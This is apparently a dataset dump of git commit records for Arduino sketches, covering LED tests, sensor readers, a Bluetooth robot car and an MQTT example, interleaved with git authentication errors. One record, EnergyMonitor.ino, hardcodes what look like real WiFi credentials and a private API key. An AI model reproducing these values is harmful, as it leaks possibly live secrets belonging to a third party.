if(xcoordinate > 0)\n forwardBase(xcoordinate);\n else if(xcoordinate < 0)\n reverseBase(abs(xcoordinate));\n xcoordinate = 0;\n ycoordinate = 0;\n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'StepperDriver\/StepperDriver.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e3bc7ee4e801fca062e974058050bdf8ee38f027","subject":"Comment formatting","message":"Comment formatting\n","repos":"onordbo\/mood-cloud,onordbo\/mood-cloud,onordbo\/mood-cloud","old_file":"THIS SHIT WORKS\/randomLight_sensor\/randomLight_sensor.ino","new_file":"THIS SHIT WORKS\/randomLight_sensor\/randomLight_sensor.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/onordbo\/mood-cloud.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"a809cc7637bd5c54dc244e699702a81e02c1c91f","subject":"Added macro for UINT32_MAX","message":"Added macro for UINT32_MAX\n","repos":"FirstBuild\/pizzaduino,FirstBuild\/pizzaduino,FirstBuild\/pizzaduino","old_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/FirstBuild\/pizzaduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"bcb791dece7ca8c4dffbf61e9ff60bd498ba0dfc","subject":"changed pins in arduino code","message":"changed pins in arduino code\n","repos":"PolygonalTree\/Led-control,PolygonalTree\/Led-control","old_file":"Arduino Code\/leds_serial_burst_pulses\/leds_serial_burst_pulses.ino","new_file":"Arduino Code\/leds_serial_burst_pulses\/leds_serial_burst_pulses.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'Code\/leds_serial_burst_pulses\/leds_serial_burst_pulses.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"d4f88cc9f15c7af2bc5d6acd8e0a41ab3400ec2e","subject":"SmokeTest","message":"SmokeTest\n","repos":"theapi\/denbit,theapi\/denbit","old_file":"arduino\/SmokeTest\/SmokeTest.ino","new_file":"arduino\/SmokeTest\/SmokeTest.ino","new_contents":"\n#define LED_S_GREEN 12 \/\/ D6\n#define LED_S_RED 13 \/\/ D7\n#define LED_RGB_RED 15 \/\/ D8\n#define LED_RGB_GREEN 10 \/\/ SD3\n#define LED_RGB_BLUE 14 \/\/ D5\n\n\nvoid setup() {\n pinMode(LED_S_GREEN, OUTPUT);\n pinMode(LED_S_RED, OUTPUT);\n\n pinMode(LED_RGB_RED, OUTPUT);\n pinMode(LED_RGB_GREEN, OUTPUT);\n pinMode(LED_RGB_BLUE, OUTPUT);\n}\n\nvoid loop() {\n digitalWrite(LED_S_GREEN, HIGH);\n digitalWrite(LED_S_RED, HIGH);\n\n digitalWrite(LED_RGB_RED, HIGH);\n digitalWrite(LED_RGB_GREEN, HIGH);\n digitalWrite(LED_RGB_BLUE, HIGH);\n \n delay(1000); \n\n \n digitalWrite(LED_S_GREEN, LOW); \n digitalWrite(LED_S_RED, LOW); \n\n digitalWrite(LED_RGB_RED, LOW); \n digitalWrite(LED_RGB_GREEN, LOW); \n digitalWrite(LED_RGB_BLUE, LOW); \n \n delay(1000);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/SmokeTest\/SmokeTest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"510d9d4dbad7d645025d165cbe149bb4f7bb501f","subject":"Analog Input with Photoresistor","message":"Analog Input with Photoresistor\n","repos":"zach-king\/ArduinoStash,zach-king\/ArduinoStash","old_file":"src\/analog_input01\/analog_input01.ino","new_file":"src\/analog_input01\/analog_input01.ino","new_contents":"const int sensorPin = 0;\n\nvoid setup()\n{\n analogReference(DEFAULT); \/\/ not necessary\n\n Serial.begin(9600); \n}\n\nvoid loop()\n{\n Serial.println(analogRead(sensorPin));\n delay(500);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/analog_input01\/analog_input01.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1c240e6696cadcd64ae5d2a666ddeefb3f5a7344","subject":"Added an example.","message":"Added an example.\n","repos":"bsiever\/SimbleeForMobile-BarGraph","old_file":"examples\/BarGraphTest\/BarGraphTest.ino","new_file":"examples\/BarGraphTest\/BarGraphTest.ino","new_contents":"#include <SimbleeForMobile.h>\n#include<BarGraph.h>\n\n\n\/\/ An example that creates a small bar graph and updates it with random data\n\/\/ Search for \"BG\" comments to see the major components to use this library: \n\n\/\/ BG: Declare the bar graph object\n\/\/ Arguments are: # of bars, Maximum value of a bar, background color (WHITE by default), bar\/text color (BLUE by default)\nBarGraph testBarGraph(4,30);\n\n\/\/ IDs for UI\nuint8_t addDataId;\nuint8_t valueAddedId;\n\nvoid setup() { \n Serial.begin(9600);\n Serial.println(\"Starting\");\n SimbleeForMobile.deviceName = \"BG Tests\";\n SimbleeForMobile.advertisementData = \"BG\";\n SimbleeForMobile.domain = \"siever.info\";\n \n \/\/ Begin Simble UI\n SimbleeForMobile.begin();\n}\n\nvoid loop() {\n SimbleeForMobile.process(); \n}\n\n\nvoid SimbleeForMobile_onConnect()\n{\n}\n\n\n\/*\n * SimbleeForMobile ui callback requesting the user interface\n * \n * Check which screen is being requested. \n * If that is the current screen, simply return.\n * If it is a different screen, create the requested screen.\n * A screen request which is out of range, is logged and ignored.\n *\/\nvoid ui()\n{ \n char *p[] = { \"Title\" };\n SimbleeForMobile.beginScreen(WHITE, PORTRAIT);\n int width = SimbleeForMobile.screenWidth;\n int height = SimbleeForMobile.screenHeight;\n\n addDataId = SimbleeForMobile.drawButton(0, height\/3, width, \"Add Random Data\", BLUE, TEXT_TYPE);\n SimbleeForMobile.setEvents(addDataId, EVENT_PRESS);\n\n valueAddedId = SimbleeForMobile.drawButton(0, height\/3+40, width, \"(None)\", BLACK, TEXT_TYPE);\n\n \/\/ BG: Add the BarGraph to the UI. \n \/\/ Arguments are: x,y,width,height\n testBarGraph.createUI(0,height-height\/3,width, height\/3);\n \n SimbleeForMobile.endScreen();\n\n \/\/ BG: If a persistent BarGraph is desired do an \"updateUI()\" here\n testBarGraph.updateUI();\n \/\/ otherwise do a resetData():\n \/\/testBarGraph.resetData();\n}\n\n\nvoid ui_event(event_t &event)\n{\n \/\/ Generate random data to append to the graph\n char buffer[5];\n \/\/ The only event possible should be the button\n unsigned newValue = random(0,30);\n sprintf(buffer, \"%d\", newValue);\n SimbleeForMobile.updateText(valueAddedId, buffer);\n\n \/\/ BG: This is an example of how a new piece of data is added to the BarGraph.\n testBarGraph.appendData(newValue);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/BarGraphTest\/BarGraphTest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"07afb09ca3b43927b59bd86fc0cde4342dcd8877","subject":"Add example TestMySum","message":"Add example TestMySum\n","repos":"neojou\/arduino-ameba,neojou\/arduino-ameba,neojou\/arduino-ameba","old_file":"example\/TestMySum\/TestMySum.ino","new_file":"example\/TestMySum\/TestMySum.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/neojou\/arduino-ameba.git\/'\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"01f30f36a1e393ccc098c197f0879fe13f7a4797","subject":"First commit on radio sender","message":"First commit on radio sender\n","repos":"hoilett\/Bit-the-RoboDawg","old_file":"BitRadioTransmit\/BitRadioTransmit\/BitRadioTransmit.ino","new_file":"BitRadioTransmit\/BitRadioTransmit\/BitRadioTransmit.ino","new_contents":"void setup() {\n \/\/ put your setup code here, to run once:\n\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'BitRadioTransmit\/BitRadioTransmit\/BitRadioTransmit.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0aef456924b181c6f3528ba05bfcf6355e25bab2","subject":"Updates to the arduino code","message":"Updates to the arduino code\n","repos":"RoyalFort\/BluetoothBot,RoyalFort\/BluetoothBot,RoyalFort\/BluetoothBot,RoyalFort\/BluetoothBot","old_file":"Arduino\/btCarBot\/btCarBot.new.ino","new_file":"Arduino\/btCarBot\/btCarBot.new.ino","new_contents":"#include <SoftwareSerial.h>\n\nSoftwareSerial mySerial(2, 3); \/\/ RX, TX\n\nconst int leftFwd = 9; \/\/ green\nconst int leftRev = 10; \/\/ blue\nconst int rightFwd = 5; \/\/ grey\nconst int rightRev = 6; \/\/ purple\n\nboolean ran = false; \/\/ What is this for?\nbyte velocity = 255; \/\/ I assume this will be the default speed\nint commandDelay = 20;\n\n\/* Ethan's config idea:\n By pressing the \"c\" key, you leave drive(d) mode enter configuration(c) mode:\n Once in (c) mode, you can press the following key to change a corresponding option:\n\t- v for changing velocity\n\t- Add more config options later if we need to\n Followed by pressing the \"d\" key (for \"done\"), which would put you back into drive(d) mode\n \n Maybe it's a bit confusing, but an android app could have a front-end to this, allowing the user\n to make a speed selection, and the app would output all these key codes automatically. (User would\n never know they left drive mode)\n \n*\/\n\n\/\/ d = drive\n\/\/ c = config\n\/\/ o = option-set mode\n\nchar mode = 'd';\n\nvoid setup() {\n\t\/\/ Open serial communications and wait for port to open:\n\tSerial.begin(57600);\n\twhile (!Serial) {\n\t\t; \/\/ wait for serial port to connect. Needed for Leonardo only\n\t}\n\n\tSerial.println(\"Start your engines!\");\n\n\t\/\/ set the data rate for the SoftwareSerial port\n\tmySerial.begin(9600);\n\tmySerial.println(\"Hello, world?\");\n}\n\nvoid loop() {\n\t\n\tbyte read = 0;\n\tif (mySerial.available()) read = mySerial.read();\n\t\n\tswitch (mode) {\n\t\t\n\t\t\/\/ Drive (d) mode by default\n\t\tcase 'd': driveCommand(read); break;\n\t\tcase 'c':\n\t\tcase 'o': config(read) break;\n\t\t\/\/ If something weird happens and mode isn't a valid \n\t\t\/\/ value, put everything back into drive mode\n\t\tdefault: mode = 'd'; \n\t\t\n\t}\n\n\tswitch (read) {\n\n\t\tdefault: {\n\t\t\tSerial.print(\"Set speed: \");\n\t\t\tif (read > 0 && read < 255) velocity = read;\n\t\t} break;\n\t}\n}\n\nvoid driveCommand(byte read) {\n\tswitch(read) {\n\t\tcase 'F':\n\t\tcase 'w': goFwd(); break;\n\t\tcase 'B':\n\t\tcase 's': goBack(); break;\n\t\tcase 'L':\n\t\tcase 'a': goLeft(); break;\n\t\tcase 'R':\n\t\tcase 'd': goRight(); break;\n\t}\n}\n\nvoid goFwd() {\nSerial.println(\"Forward\");\nanalogWrite(leftFwd, velocity);\nanalogWrite(rightFwd, velocity);\ndelay(commandDelay);\nanalogWrite(leftFwd, 0);\nanalogWrite(rightFwd, 0);\n}\n\nvoid goBack() {\nSerial.println(\"Backward\");\nanalogWrite(leftRev, velocity);\nanalogWrite(rightRev, velocity);\ndelay(commandDelay);\nanalogWrite(leftRev, 0);\nanalogWrite(rightRev, 0);\n}\n\nvoid goLeft() {\nSerial.println(\"Left\");\nanalogWrite(leftRev, velocity);\nanalogWrite(rightFwd, velocity);\ndelay(commandDelay);\nanalogWrite(leftRev, 0);\nanalogWrite(rightFwd, 0);\n}\n\nvoid goRight() {\nSerial.println(\"Right\");\nanalogWrite(leftFwd, velocity);\nanalogWrite(rightRev, velocity);\ndelay(commandDelay);\nanalogWrite(leftFwd, 0);\nanalogWrite(rightRev, 0);\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/btCarBot\/btCarBot.new.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5e955e28f309f4e3556210a92301169fb30b3156","subject":"Create EnergyMonitor.ino","message":"Create EnergyMonitor.ino","repos":"KitWallace\/CitizenSense","old_file":"ESP8266-code\/EnergyMonitor.ino","new_file":"ESP8266-code\/EnergyMonitor.ino","new_contents":"\/*\n * Uses the ADS1115 ADC in differental mode to measure the voltage across a burden resistor\n * \n * voltage values have be calibrated against a standard 60w bulb \n * \n *\/\n\n#include <ESP8266WiFi.h>\n#include <Wire.h>\n#include <Adafruit_ADS1015.h>\n\n\n\/\/ WIFI credentials\nconst char* ssid = \"BTHub3-M4GH\";\nconst char* password = \"86857ef6df\";\n\n\/\/ Data stream\nconst char* host = \"kitwallace.co.uk\";\nconst char* streamId = \"MS-MQ3\";\nconst char* privateKey = \"a7fba854-a7b7-4b79-a73a-eb951def1c51\";\n\nAdafruit_ADS1115 ads; \/* Use this for the 16-bit version *\/\n\nWiFiClient client;\n\n\/\/ calibration\n\/\/ simple calibration with a 60w lightbulb \nfloat multiplier = 0.01; \n\nvoid setup() {\n Serial.begin(9600);\n delay(10);\n \n WiFi.begin(ssid, password);\n \n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n\n Serial.println(\"\");\n Serial.print(\"WiFi connected \"); \n Serial.print(\"IP address: \");\n Serial.println( WiFi.localIP());\n\n ads.setGain(GAIN_ONE); \n ads.begin();\n}\n\nvoid loop() { \n double current = getIrms(1024);\n String params = String(\"Current=\")+current;\n logData(params);\n Serial.println(params);\n}\n\ndouble getIrms(unsigned int Number_of_Samples)\n{\n double sum = 0.0;\n double sum2 = 0.0;\n for (int n = 0; n < Number_of_Samples; n++)\n {\n long sampleI = ads.readADC_Differential_0_1();\n sum += sampleI;\n sum2+= sampleI * sampleI;\n } \n return sqrt( (sum2 - (sum * sum)\/Number_of_Samples) \/ Number_of_Samples)* multiplier; \n}\n\nvoid httpGet(String url) {\n WiFiClient client;\n url.replace(\" \", \"+\");\n int httpPort = 80;\n while (true) {\n if (client.connect(host, httpPort)) break;\n Serial.print(\".\");\n delay(100);\n }\n\n Serial.print(\"requesting URL: \");\n Serial.println(url);\n\/\/ This will send the request to the server\n String httprequest = String(\"GET \") + url + \" HTTP\/1.1\\r\\n\" +\n \"Host: \" + host + \"\\r\\n\" + \n \"Connection: close\\r\\n\\r\\n\";\n\/\/ Serial.println(httprequest);\n client.print(httprequest);\n \n\/\/ Read all the lines of the reply from server and print them to Serial\n while(client.available()){\n String line = client.readStringUntil('\\r');\n\/\/ Serial.print(line);\n }\n \n\/\/ Serial.println();\n\/\/ Serial.println(\"closing connection\");\n}\n\nvoid logData(String params) {\n String url = \"\/rt\/home.xq?_action=store&_id=\";\n url += streamId;\n url += String(\"&_pk=\")+ privateKey + \"&\";\n url += params;\n httpGet(url); \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ESP8266-code\/EnergyMonitor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ac5c7635cc262eec709c92cd473535c3b8c84b7f","subject":"ESP8266 BlinkWithoutDelay","message":"ESP8266 BlinkWithoutDelay\n","repos":"adafruit\/ESP8266-Arduino,NeuralSpaz\/Arduino,eeijcea\/Arduino-1,noahchense\/Arduino-1,adafruit\/ESP8266-Arduino,noahchense\/Arduino-1,nkolban\/Arduino,paulmand3l\/Arduino,danielchalef\/Arduino,gonium\/Arduino,ogahara\/Arduino,raimohanska\/Arduino,radut\/Arduino,myrtleTree33\/Arduino,weera00\/Arduino,paulo-raca\/ESP8266-Arduino,smily77\/Arduino,mangelajo\/Arduino,aichi\/Arduino-2,ogahara\/Arduino,sanyaade-iot\/Arduino-1,paulmand3l\/Arduino,leftbrainstrain\/Arduino-ESP8266,eeijcea\/Arduino-1,eeijcea\/Arduino-1,spapadim\/Arduino,fungxu\/Arduino,mattvenn\/Arduino,EmuxEvans\/Arduino,paulmand3l\/Arduino,Protoneer\/Arduino,koltegirish\/Arduino,adafruit\/ESP8266-Arduino,tannewt\/Arduino,Protoneer\/Arduino,nkolban\/Arduino,shiitakeo\/Arduino,jomolinare\/Arduino,mateuszdw\/Arduino,wdoganowski\/Arduino,wdoganowski\/Arduino,adafruit\/ESP8266-Arduino,leftbrainstrain\/Arduino-ESP8266,fungxu\/Arduino,ssvs111\/Arduino,danielchalef\/Arduino,myrtleTree33\/Arduino,shiitakeo\/Arduino,mateuszdw\/Arduino,drpjk\/Arduino,drpjk\/Arduino,ssvs111\/Arduino,Cloudino\/Arduino,noahchense\/Arduino-1,Alfredynho\/AgroSis,smily77\/Arduino,zenmanenergy\/Arduino,mangelajo\/Arduino,wdoganowski\/Arduino,sanyaade-iot\/Arduino-1,Alfredynho\/AgroSis,aichi\/Arduino-2,jomolinare\/Arduino,paulo-raca\/ESP8266-Arduino,gonium\/Arduino,weera00\/Arduino,NeuralSpaz\/Arduino,danielchalef\/Arduino,paulo-raca\/ESP8266-Arduino,EmuxEvans\/Arduino,mangelajo\/Arduino,tannewt\/Arduino,mateuszdw\/Arduino,zenmanenergy\/Arduino,ogahara\/Arduino,radut\/Arduino,paulo-raca\/ESP8266-Arduino,drpjk\/Arduino,Protoneer\/Arduino,smily77\/Arduino,shiitakeo\/Arduino,koltegirish\/Arduino,fungxu\/Arduino,mattvenn\/Arduino,smily77\/Arduino,mattvenn\/Arduino,mateuszdw\/Arduino,fungxu\/Arduino,NeuralSpaz\/Arduino,koltegirish\/Arduino,NeuralSpaz\/Arduino,koltegirish\/Arduino,weera00\/Arduino,Cloudino\/Arduino,Cloudino\/Arduino,leftbrainstrain\/Arduino-ESP8266,adafruit\/ESP8266-Arduino,raimohanska\/Arduino,nkolban\/Arduino,Cloudino\/Cloudino-Arduino-IDE,shiitakeo\/Arduino,paulo-raca\/ESP8266-Arduino,gonium\/Arduino,spapadim\/Arduino,koltegirish\/Arduino,paulmand3l\/Arduino,mattvenn\/Arduino,eeijcea\/Arduino-1,noahchense\/Arduino-1,ssvs111\/Arduino,jomolinare\/Arduino,tannewt\/Arduino,raimohanska\/Arduino,leftbrainstrain\/Arduino-ESP8266,ssvs111\/Arduino,drpjk\/Arduino,raimohanska\/Arduino,Cloudino\/Arduino,radut\/Arduino,gonium\/Arduino,paulmand3l\/Arduino,mangelajo\/Arduino,aichi\/Arduino-2,shiitakeo\/Arduino,mateuszdw\/Arduino,mateuszdw\/Arduino,ogahara\/Arduino,aichi\/Arduino-2,jomolinare\/Arduino,danielchalef\/Arduino,Alfredynho\/AgroSis,wdoganowski\/Arduino,NeuralSpaz\/Arduino,mattvenn\/Arduino,ogahara\/Arduino,raimohanska\/Arduino,Cloudino\/Cloudino-Arduino-IDE,sanyaade-iot\/Arduino-1,EmuxEvans\/Arduino,spapadim\/Arduino,aichi\/Arduino-2,noahchense\/Arduino-1,wdoganowski\/Arduino,ssvs111\/Arduino,spapadim\/Arduino,myrtleTree33\/Arduino,fungxu\/Arduino,radut\/Arduino,eeijcea\/Arduino-1,spapadim\/Arduino,Protoneer\/Arduino,smily77\/Arduino,ogahara\/Arduino,Alfredynho\/AgroSis,paulmand3l\/Arduino,drpjk\/Arduino,mateuszdw\/Arduino,weera00\/Arduino,gonium\/Arduino,EmuxEvans\/Arduino,aichi\/Arduino-2,NeuralSpaz\/Arduino,spapadim\/Arduino,jomolinare\/Arduino,zenmanenergy\/Arduino,Cloudino\/Cloudino-Arduino-IDE,leftbrainstrain\/Arduino-ESP8266,Cloudino\/Arduino,Cloudino\/Cloudino-Arduino-IDE,fungxu\/Arduino,weera00\/Arduino,gonium\/Arduino,sanyaade-iot\/Arduino-1,smily77\/Arduino,zenmanenergy\/Arduino,tannewt\/Arduino,weera00\/Arduino,EmuxEvans\/Arduino,Protoneer\/Arduino,noahchense\/Arduino-1,weera00\/Arduino,wdoganowski\/Arduino,myrtleTree33\/Arduino,zenmanenergy\/Arduino,myrtleTree33\/Arduino,mangelajo\/Arduino,Protoneer\/Arduino,ogahara\/Arduino,koltegirish\/Arduino,eeijcea\/Arduino-1,radut\/Arduino,raimohanska\/Arduino,smily77\/Arduino,ssvs111\/Arduino,nkolban\/Arduino,Protoneer\/Arduino,Cloudino\/Arduino,drpjk\/Arduino,sanyaade-iot\/Arduino-1,drpjk\/Arduino,jomolinare\/Arduino,noahchense\/Arduino-1,sanyaade-iot\/Arduino-1,tannewt\/Arduino,nkolban\/Arduino,zenmanenergy\/Arduino,wdoganowski\/Arduino,leftbrainstrain\/Arduino-ESP8266,raimohanska\/Arduino,myrtleTree33\/Arduino,danielchalef\/Arduino,fungxu\/Arduino,Cloudino\/Arduino,tannewt\/Arduino,paulo-raca\/ESP8266-Arduino,shiitakeo\/Arduino,mattvenn\/Arduino,sanyaade-iot\/Arduino-1,Alfredynho\/AgroSis,tannewt\/Arduino,nkolban\/Arduino,danielchalef\/Arduino,shiitakeo\/Arduino,radut\/Arduino,Alfredynho\/AgroSis,adafruit\/ESP8266-Arduino,myrtleTree33\/Arduino,zenmanenergy\/Arduino,spapadim\/Arduino,EmuxEvans\/Arduino,Cloudino\/Cloudino-Arduino-IDE,adafruit\/ESP8266-Arduino,mangelajo\/Arduino,nkolban\/Arduino,eeijcea\/Arduino-1,mattvenn\/Arduino,danielchalef\/Arduino,jomolinare\/Arduino,mangelajo\/Arduino,radut\/Arduino,Cloudino\/Cloudino-Arduino-IDE,paulmand3l\/Arduino,Cloudino\/Cloudino-Arduino-IDE,EmuxEvans\/Arduino,Alfredynho\/AgroSis,aichi\/Arduino-2,NeuralSpaz\/Arduino,leftbrainstrain\/Arduino-ESP8266,koltegirish\/Arduino,paulo-raca\/ESP8266-Arduino,gonium\/Arduino,ssvs111\/Arduino","old_file":"hardware\/esp8266com\/esp8266\/libraries\/esp8266\/examples\/BlinkWithoutDelay\/BlinkWithoutDelay.ino","new_file":"hardware\/esp8266com\/esp8266\/libraries\/esp8266\/examples\/BlinkWithoutDelay\/BlinkWithoutDelay.ino","new_contents":"\/* \n ESP8266 BlinkWithoutDelay by Simon Peter\n Blink the blue LED on the ESP-01 module\n Based on the Arduino Blink without Delay example\n This example code is in the public domain\n*\/\n\nconst int ledPin = 1; \/\/ The blue LED on the ESP-01 module is connected to GPIO1 \n \/\/ (which is also the TXD pin; so we cannot use \n \/\/ Serial.print() at the same time\n\nint ledState = LOW; \n\nunsigned long previousMillis = 0;\nconst long interval = 1000;\n\nvoid setup() {\n pinMode(ledPin, OUTPUT);\n}\n\nvoid loop()\n{\n unsigned long currentMillis = millis();\n if(currentMillis - previousMillis >= interval) {\n previousMillis = currentMillis; \n if (ledState == LOW)\n ledState = HIGH; \/\/ Note that this switches the LED *off*\n else\n ledState = LOW; \/\/ Note that this switches the LED *on*\n digitalWrite(ledPin, ledState);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'hardware\/esp8266com\/esp8266\/libraries\/esp8266\/examples\/BlinkWithoutDelay\/BlinkWithoutDelay.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"67dadee3674c37e2523b029d667924b5a978df21","subject":"changed crab sensitivity","message":"changed crab sensitivity\n","repos":"SeaSweepersROV\/SeaSweepers2017,SeaSweepersROV\/SeaSweepers2017","old_file":"Motor Code\/MotorsTX_EZ\/MotorsTX_EZ.ino","new_file":"Motor Code\/MotorsTX_EZ\/MotorsTX_EZ.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Motor' did not match any file(s) known to git\nerror: pathspec 'Code\/MotorsTX_EZ\/MotorsTX_EZ.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ab810a9f31d59641c52e83a931d6872c5837e6b1","subject":"added bluetooth example","message":"added bluetooth example\n","repos":"lucidtronix\/WearableWayfinderArduino","old_file":"examples\/bluetooth_transiever\/bluetooth_transiever.ino","new_file":"examples\/bluetooth_transiever\/bluetooth_transiever.ino","new_contents":"\/* LucidTronix Wearable Wayfinder Color Clock\n * For instructions, details and schematic, See:\n * http:\/\/www.lucidtronix.com\/tutorials\/64\n *\/\n\n#include <WearableWayfinder.h>\n#include <Adafruit_GFX.h> \/\/ Core graphics library\n#include <Adafruit_ST7735.h> \/\/ Hardware-specific library\n#include <Wire.h>\n#include <SPI.h>\n#include <Color.h>\n#include <HMC5883L.h>\n#include <MCP79410.h>\n#include <I2C.h>\n#include <MMA8453Q.h>\n\n\/\/ for leo:\nAdafruit_ST7735 tft = Adafruit_ST7735(SS, 9, 8);\nWearableWayfinder ww = WearableWayfinder(&tft);\n\nint old_pot = 0;\nconst int buffer_size = 128;\nchar buffer_in[buffer_size];\nint char_index = 0;\n\nvoid setup() {\n Serial1.begin(115200); \t\/\/initialize Serial1\n Serial.begin(115200); \t\/\/initialize Serial1\n\n for(int i = 0; i < buffer_size; i++) buffer_in[i] = '\\0';\n\n ww.initialize();\n ww.draw_string(5, 6, \"BLUE\", Color(30, 35, 255).color_16(), 3);\n ww.draw_string(15, 36, \"TOOTH\", Color(30, 35, 255).color_16(), 3);\n ww.draw_string(2, 76, \"transiever\", Color(30, 135, 235).color_16(), 2);\n \n delay(2500);\n ww.clear_screen();\n\n}\n\nvoid loop() { \n if (Serial1.available() > 0){\n char cur_char;\n while((cur_char = Serial1.read()) != -1){\n buffer_in[char_index] = cur_char;\n }\n Serial1.print(\"received string:\");\n Serial1.println(buffer_in);\n tft.fillRect(1, 145, 127, 10, ww.background.color_16());\n ww.draw_string(2, 145, buffer_in, ww.stroke.color_16(), 1);\n }\n \n if (ww.btn_2_pressed()){\n ww.clear_screen();\n Serial1.println(\"Btn 2 pressed\");\n ww.draw_string(5, 106, \"Btn 2 pressed\", ww.stroke.color_16(), 1);\n }\n \n if (ww.btn_1_pressed()){\n ww.clear_screen();\n Serial1.println(\"Btn 1 pressed\");\n ww.draw_string(5, 106, \"Btn 1 pressed\", ww.stroke.color_16(), 1);\n }\n\n int pot = analogRead(0);\n if(abs(pot-old_pot) > 5) {\n old_pot = pot;\n tft.fillRect(10, 45, 50, 10, ww.background.color_16()); \n ww.draw_string(5, 36, \"Potentiometer\", ww.stroke.color_16(), 1);\n ww.print_integer(10, 45, pot, 1);\n Serial1.print(\"Wheel Reeds:\");\n Serial1.println(pot);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/bluetooth_transiever\/bluetooth_transiever.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"163fa5f60a88d0635ee327ff4dd1a4ec37d78813","subject":"added cc3000 example","message":"added cc3000 example\n","repos":"octoblu\/microblu_mqtt","old_file":"examples\/skynetim_mqtt_cc3000\/skynetim_mqtt_cc3000.ino","new_file":"examples\/skynetim_mqtt_cc3000\/skynetim_mqtt_cc3000.ino","new_contents":"\/*\n * SSSSS kk tt\n * SS kk kk yy yy nn nnn eee tt\n * SSSSS kkkkk yy yy nnn nn ee e tttt\n * SS kk kk yyyyyy nn nn eeeee tt\n * SSSSS kk kk yy nn nn eeeee tttt\n * yyyyy\n *\n * SkynetClient for http:\/\/skynet.im, OPEN COMMUNICATIONS NETWORK & API FOR\n * THE INTERNET OF THINGS.\n *\n * This sketch uses the MQTT library to connect to skynet. It sends a message\n * on successful connection and logs data every second.\n *\n * Requires the MQTT library from Nick O'Leary http:\/\/knolleary.net\/arduino-client-for-mqtt\/\n * And one modification in PubSubClient.h, increase MQTT_MAX_PACKET_SIZE from 128 to something like 256\n *\n * Should work with any cc3000 shield or breakout like Adafruit or Sparkfun:\n * https:\/\/www.sparkfun.com\/products\/12071\n *\n * However no matter which you choose, we have a requirement on the Sparkfun\n * library: https:\/\/github.com\/sparkfun\/SFE_CC3000_Library\/\n *\n * Remember not to mess with wifis's unavailable pins (look up on your manufacturers site)\n *\n * You will notice we're using F() in Serial.print. It is covered briefly on\n * the arduino print page but it means we can store our strings in program\n * memory instead of in ram.\n *\n *\/\n \n#include <SPI.h>\n#include <SFE_CC3000.h>\n#include <SFE_CC3000_Client.h>\n#include <PubSubClient.h>\n\n\/\/ Pins\n#define CC3000_INT 2 \/\/ Needs to be an interrupt pin (D2\/D3) \/\/Adafruit is 3\n#define CC3000_EN 7 \/\/ Can be any digital pin \/\/Adafruit is 5\n#define CC3000_CS 10 \/\/ Preferred is pin 10 on Uno\n\n\/\/ Constants\nchar ssid[] = \"yournetworkname\"; \/\/ your network SSID (name)\nchar pass[] = \"yourpassword\"; \/\/ your WPA network password\nunsigned int ap_security = WLAN_SEC_WPA2; \/\/ Security of network\nunsigned int timeout = 30000; \/\/ Milliseconds\n\nchar server[] = \"skynet.im\";\n\n\/\/Your UUID and token for skynet.im TODO where to get one\nchar UUID[] = \"XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX\";\nchar TOKEN[] = \"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\";\n\n\/\/another UUID well send a message to\nchar TOUUID[] = \"XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX\"; \n\n\/\/ Global Variables\nSFE_CC3000 wifi = SFE_CC3000(CC3000_INT, CC3000_EN, CC3000_CS);\nSFE_CC3000_Client client = SFE_CC3000_Client(wifi);\nPubSubClient skynet(server, 1883, onMessage, client);\n\n\/\/we'll run this if anyone messages us\nvoid onMessage(char* topic, byte* payload, unsigned int length) {\n\n \/\/ handle incoming messages, well just print it for now\n 